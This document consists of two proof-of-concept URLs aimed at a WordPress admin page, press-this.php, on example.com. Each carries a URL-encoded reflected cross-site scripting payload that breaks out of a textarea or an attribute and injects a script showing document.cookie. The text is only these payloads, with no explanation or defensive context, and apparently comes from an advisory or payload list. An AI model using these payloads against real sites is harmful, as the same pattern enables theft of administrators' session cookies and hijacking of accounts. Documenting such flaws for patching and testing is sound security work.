http://www.example.com/wp/wp-admin/press-this.php/?ajax=video&s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/wp/wp-admin/press-this.php/?ajax=thickbox&i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E